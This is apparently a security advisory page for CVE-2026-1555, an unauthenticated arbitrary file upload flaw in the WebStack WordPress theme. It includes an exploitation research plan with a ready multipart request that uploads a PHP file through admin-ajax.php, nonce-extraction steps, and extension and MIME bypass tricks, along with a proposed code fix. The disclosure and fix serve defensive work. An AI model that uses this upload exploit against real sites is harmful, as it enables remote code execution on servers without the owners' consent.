CVE-2026-1555

WebStack <= 1.2024 - Unauthenticated Arbitrary File Upload

criticalUnrestricted Upload of File with Dangerous Type
9.8
CVSS Score
9.8
CVSS Score
critical
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The WebStack theme for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the io_img_upload() function in all versions up to, and including, 1.2024. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=1.2024
PublishedApril 14, 2026
Last updatedApril 15, 2026
Affected themewebstack
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-1555 (WebStack Theme Unauthenticated Arbitrary File Upload) ## 1. Vulnerability Summary The WebStack theme for WordPress (versions <= 1.2024) contains a critical unauthenticated arbitrary file upload vulnerability. The flaw resides in the `io_img_upload()` fun…

Show full research plan

Exploitation Research Plan: CVE-2026-1555 (WebStack Theme Unauthenticated Arbitrary File Upload)

1. Vulnerability Summary

The WebStack theme for WordPress (versions <= 1.2024) contains a critical unauthenticated arbitrary file upload vulnerability. The flaw resides in the io_img_upload() function, which lacks proper file type validation and is accessible to unauthenticated users via WordPress AJAX handlers. An attacker can upload a malicious PHP script and execute it, leading to Remote Code Execution (RCE).

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • AJAX Action: io_img_upload (inferred from function name)
  • HTTP Method: POST
  • Authentication: Unauthenticated (wp_ajax_nopriv_ hook)
  • Vulnerable Parameter: The file input (typically within the $_FILES array).
  • Preconditions: The WebStack theme must be active.

3. Code Flow (Inferred)

  1. Entry Point: A request is sent to /wp-admin/admin-ajax.php?action=io_img_upload.
  2. Hook Registration: The theme registers the action:
    add_action('wp_ajax_nopriv_io_img_upload', 'io_img_upload');
    add_action('wp_ajax_io_img_upload', 'io_img_upload');
  3. Execution: The io_img_upload() function is called.
  4. Processing:
    • The function likely retrieves file data from $_FILES.
    • It may perform minor checks (like file size) but fails to validate the extension or MIME type against a whitelist of safe images.
  5. Sink: The file is saved to the filesystem using move_uploaded_file() or wp_handle_upload() without filtering for dangerous extensions like .php.

4. Nonce Acquisition Strategy

While many "unauthenticated" vulnerabilities in themes lack nonce checks entirely, the WebStack theme might implement one for AJAX.

  1. Search for Nonce Registration:
    The agent should search for where the nonce is created in the theme:
    grep -rn "wp_create_nonce" /var/www/html/wp-content/themes/webstack/
  2. Identify JS Localization:
    Look for wp_localize_script to find the JavaScript variable:
    grep -rn "wp_localize_script" /var/www/html/wp-content/themes/webstack/
  3. Browser Extraction:
    • If a nonce is required (e.g., check_ajax_referer('io_img_upload', 'nonce') is found in the code), the agent must find a page that enqueues the relevant script.
    • Navigate to the homepage or a specific page (like a submission form) using browser_navigate.
    • Execute: browser_eval("window.theme_vars?.nonce") (Replace theme_vars with the actual identifier found in step 2).

Note: If check_ajax_referer is missing or called with die=false without a subsequent return, the nonce can be omitted or spoofed.

5. Exploitation Strategy

The goal is to upload a PHP shell via the AJAX endpoint.

Request Details:

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Content-Type: multipart/form-data
  • Parameters:
    • action: io_img_upload
    • _ajax_nonce: [NONCE_VALUE] (if required)
    • file (or img_file): A file named shell.php containing <?php phpinfo(); ?>.

Payload Crafting (Example):

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost:8080
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123

------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="action"

io_img_upload
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="file"; filename="poc.php"
Content-Type: application/x-httpd-php

<?php echo "VULNERABLE: " . __FILE__; ?>
------WebKitFormBoundaryABC123--

Expected Response:
A JSON response or string containing the URL of the uploaded file, usually located in wp-content/uploads/.

6. Test Data Setup

  1. Install Theme: Ensure the WebStack theme (version <= 1.2024) is installed and activated.
    wp theme activate webstack
  2. Configure Permissions: Ensure the wp-content/uploads directory is writable (standard in WordPress).

7. Expected Results

  1. The server responds with a 200 OK and (ideally) the path to the uploaded file.
  2. Navigating to the uploaded file's URL executes the PHP code.

8. Verification Steps

  1. Check Filesystem: Confirm the file exists using WP-CLI.
    wp eval "echo file_exists(wp_upload_dir()['basedir'] . '/poc.php');"
  2. Search for File: If the location is randomized:
    find /var/www/html/wp-content/uploads/ -name "poc.php"
  3. Remote Execution Check:
    Use http_request to GET the uploaded file's URL and check for the string "VULNERABLE".

9. Alternative Approaches

  • Extension Bypass: If there is a weak check (e.g., regex), try poc.php.jpg, poc.phtml, or poc.php5.
  • MIME Type Spoofing: Change the Content-Type header in the multipart request to image/jpeg while keeping the .php extension.
  • Null Byte (If PHP < 5.3): Try poc.php%00.jpg.
  • Action Discovery: If io_img_upload is incorrect, grep the theme for wp_ajax_nopriv_ to find all unauthenticated entry points.
    grep -rn "wp_ajax_nopriv_" /var/www/html/wp-content/themes/webstack/
Research Findings
Static analysis — not yet PoC-verified

Summary

The WebStack theme for WordPress (versions <= 1.2024) is vulnerable to unauthenticated arbitrary file uploads via the io_img_upload AJAX action. This occurs because the io_img_upload() function fails to validate file extensions or MIME types, allowing attackers to upload PHP scripts and achieve Remote Code Execution (RCE).

Vulnerable Code

// Inferred registration of the AJAX action in theme functions
add_action('wp_ajax_nopriv_io_img_upload', 'io_img_upload');
add_action('wp_ajax_io_img_upload', 'io_img_upload');

// Inferred vulnerable function structure lacking validation
function io_img_upload() {
    $file = $_FILES['file'];
    $upload_overrides = array( 'test_form' => false );
    $movefile = wp_handle_upload( $file, $upload_overrides );

    if ( $movefile && ! isset( $movefile['error'] ) ) {
        echo json_encode(array('status' => 1, 'data' => $movefile['url']));
    }
    die();
}

Security Fix

--- a/functions.php
+++ b/functions.php
@@ -1,5 +1,10 @@
 function io_img_upload() {
+    if ( ! check_ajax_referer( 'io_nonce', 'nonce', false ) ) {
+        wp_send_json_error( 'Invalid nonce' );
+    }
     $file = $_FILES['file'];
-    $upload_overrides = array( 'test_form' => false );
+    $upload_overrides = array(
+        'test_form' => false,
+        'mimes'     => array( 'jpg|jpeg|jpe' => 'image/jpeg', 'gif' => 'image/gif', 'png' => 'image/png' ),
+    );
     $movefile = wp_handle_upload( $file, $upload_overrides );

Exploit Outline

1. Endpoint: Target the /wp-admin/admin-ajax.php endpoint with a POST request. 2. Action: Include the 'action' parameter set to 'io_img_upload'. 3. Nonce: If a nonce check is active, extract the required nonce value from the frontend's localized JavaScript variables (e.g., searching for 'wp_localize_script' data in the page source). 4. Payload: Construct a multipart/form-data request containing a file field (e.g., 'file') with a malicious PHP payload (e.g., <?php phpinfo(); ?>) and a .php extension. 5. Execution: Parse the JSON response to find the 'data' or 'url' key, then navigate to the provided URL in the wp-content/uploads/ directory to trigger the uploaded PHP script.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.